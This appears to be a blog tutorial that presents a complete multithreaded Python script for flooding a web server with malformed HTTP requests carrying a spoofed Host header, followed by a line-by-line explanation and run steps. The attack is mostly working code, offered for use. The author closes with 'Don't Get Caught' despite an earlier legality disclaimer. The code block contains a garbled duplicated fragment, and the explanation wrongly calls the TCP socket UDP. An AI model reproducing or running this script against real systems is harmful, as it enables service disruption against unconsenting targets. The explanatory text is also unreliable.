Perform a DOS attack with Python script.

Perform a DOS attack with Python script.

Hey there! we will perform a simple Denial Of Service (dos) attack with a Python script. This is a simple script but still use it on your infrastructure, I will be dos’ing my computer target="127.0.0.1" but you can use a virtual machine, web server, etc…

NB: Hacking unauthorized systems is illegal and will cause you problems.

What is a Denial Of Service (DOS) Attack?

Read the article above here or click on the image above to learn what DOS attacks are and more…

Below is the full Python script and some explanation of what is going on below.


import socket # Use Case: Facililate bi-directional communication between the script and a server.
import threading # Use Case: Create concurrent requests
import logging # Use Case: Use for logging
import psutil # Use Case: Monitor system CPU and Ram
import time # Use Case: Get time

p address of a remote server, another computer
port=80 # Open port on machine to be attacked
trd=10 # Number of concurrent threads or requests to be sent
target="127.0.0.1" # Targetting my computer, it would be a ip address of a remote server, another computer
port=80 # Open port on machine to be attacked
trd=10 # Number of concurrent threads or requests to be sent
fake_ip="127.0.0.1" # Your fake Ip address, but it does not make your annonmous

# Setup logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

def attack(thread_id):
    """Sends a mock HTTP request to the target repeatedly."""
    count = 0  # Count the number of requests sent by each thread
    while True:
        try:
            # Create a socket and connect to the target
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((target, port))

            # Send data to simulate an HTTP GET request
            s.sendto(("GET /" + "A" * 500 + " HTTP/1.1\r\n").encode("utf-8"), (target, port))
            s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode("utf-8"), (target, port))

            # Log each request sent
            count += 1
            logging.info(f"Thread {thread_id} sent request {count}")

            s.close()
            time.sleep(1)  # Add delay to control request rate, Sleep for 1 second
        except Exception as e:
            logging.error(f"Thread {thread_id} encountered an error: {e}")
            break  # Break loop on error to avoid infinite retries in case of network issues

def monitor_resources():
    "Monitors and logs CPU and Memory usage every second"
    while True:
        # Get CPU and Memory Usage
        cpu_usage = psutil.cpu_percent(interval=1)
        memory_info = psutil.virtual_memory()

        # Log system resource usage
        logging.info(f"CPU Usage: {cpu_usage}% | Memory Usage: {memory_info.percent}%")
        time.sleep(1)  # Adjust the interval as needed



# Start resource monitoring in a separate thread
monitor_thread = threading.Thread(target=monitor_resources)
monitor_thread.daemon = True  # Daemonize to exit when main program ends
monitor_thread.start()


for i in range(trd):
    thread = threading.Thread(target=attack, args=(i,))
    thread.start()

Script Explanation

  1. Note: The script explanation is going to be from the def attack. Importations and code above def attack have explanations as comments.

  2. We have a def attack(thread_id): , this is how we create a function in Python and pass a value or parameter to it called thread_id .

    count=0 : makes a variable count with 0, read comment.

    1. while True: , This creates an infinite loop that will run forever, if not manually stopped. This is because the condition remains True , there is no break statement or change of state from True to False .

    2. try : - except: block, First tries to run the code under the try block, and in case of an error or things do not go well when running the code, we are sent to the except block where we are logging the error and breaking out of the while loop.

    3. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) , creates a socket and this is a communication agent.

      1. socket.AF_INET specifies that the socket will use the IPv4 address family.

      2. socket.SOCK_STREAM indicates that this socket will use TCP (Transmission Control Protocol).

    4. s.connect((target, port)) connecting to target IP address and use port on that machine.

    5. s.sendto(("GET /" + "A" * 500 + " HTTP/1.1\r\n").encode("utf-8"), (target, port))

      1. "GET /" + "A" * 500 + " HTTP/1.1\r\n":

        • Constructs a string resembling an HTTP GET request.

        • The path component (/) is replaced by a long sequence of 500 A characters. This might be an attempt to overflow or stress-test the server's handling of unusually large or malformed requests.

        • The HTTP version (HTTP/1.1) follows the "GET" method.

        • The \r\n denotes the end of the line in HTTP headers.

      2. .encode("utf-8"): Converts the constructed string into bytes, as network communication typically requires byte data.

      3. (target, port): Specifies the destination:

        • target: The IP address or hostname of the server.

        • port: The port number on which the server is listening.

      4. s.sendto: Sends the encoded request to the server using a UDP socket.

    6. s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode("utf-8"), (target, port))

      1. "Host: " + fake_ip + "\r\n\r\n":

        • Constructs a string resembling an HTTP Host header, used to indicate the domain name the client wants to access.

        • fake_ip: A string that represents a fabricated or spoofed IP address, rather than the real client's IP.

        • \r\n\r\n: Indicates the end of the HTTP headers.

      2. .encode("utf-8"): Encodes the string into bytes.

      3. (target, port): Same as above, it defines the server and port for sending the data.

      4. s.sendto: Sends this second packet to the server.

    7. s.close() - Closes socket connection.

    8. except - In case of an error, break out of the loop.

  3. def monitor_resources(): - This function is used to monitor resource usage every second.

    1. while True - Creates an infinite loop

    2. cpu_usage = psutil.cpu_percent(interval=1) - Monitors CPU usage per second and stores value in variable cpu_usage

    3. memory_info = psutil.virtual_memory() - Monitors RAM and stores value in variable memory_info

    4. logging.info(f"CPU Usage: {cpu_usage}% | Memory Usage: {memory_info.percent}%") - Logs finds.

    5. time.sleep(1) - Sleep for 1 second.

  4. monitor_thread = threading.Thread(target=monitor_resources)

    1. This creates a new thread object.

    2. threading.Thread initializes a thread, associating it with the monitor_resources function, which will run when the thread starts.

    3. Using threads allows tasks to execute concurrently, enabling better utilization of resources.

  5. monitor_thread.start() - This starts the thread, causing the monitor_resources function to execute in the new thread concurrently with the main program.

  6. for i in range(trd): - This loop runs trd times (where trd is an integer value), iterating with the variable i ranging from 0 to trd-1.

  7. Each iteration will create and start a new thread.

    1. thread = threading.Thread(target=attack, args=(i,))

      1. Creates a thread:

        • The threading.Thread object is initialized to execute the attack function in a separate thread.

        • target=attack:

          • Specifies the function (attack) to be executed by the thread. This function contains the code that will run in the new thread.
        • args=(i,):

          • This passes i as an argument to the attack function. The comma after i ensures that args is treated as a tuple (required by the args parameter, even if it contains just one value).

          • This allows the attack function to receive i as a parameter during each thread's execution. For example, attack(0) on the first iteration, attack(1) on the second, and so on.

      2. thread.start()
        Starts the thread:

        • The start() method begins execution of the attack function in the newly created thread.

        • This runs concurrently with the main program and any other active threads.

How to run script.

Note: pip install psutil

Set up server port.

With the command below, Python can help us quickly set up a server on port 80.

sudo python3 -m http.server 80

check port number reference below, why use port 80 above

  • Port 20/21: FTP (File Transfer Protocol) – Transfers files between client and server.

  • Port 22: SSH (Secure Shell) – Secure remote login and file transfers.

  • Port 23: Telnet – Insecure text-based remote login (rarely used now).

  • Port 25: SMTP (Simple Mail Transfer Protocol) – Sending emails.

  • Port 53: DNS (Domain Name System) – Resolves domain names to IP addresses.

  • Port 67/68: DHCP (Dynamic Host Configuration Protocol) – Assigns IP addresses to devices.

  • Port 80: HTTP (HyperText Transfer Protocol) – Non-secure web traffic.

  • Port 110: POP3 (Post Office Protocol v3) – Retrieving emails from servers.

  • Port 143: IMAP (Internet Message Access Protocol) – Email retrieval and management.

  • Port 161/162: SNMP (Simple Network Management Protocol) – Network management and monitoring.

  • Port 443: HTTPS (HyperText Transfer Protocol Secure) – Secure web traffic.

Run script

python3 main.py - if the script is in a file called main.py.

Inspect the Python server at port 80

Note: I am going a 404, but it works. it’s not a perfect script.

HAPPY HACKING, Don’t Get Caught.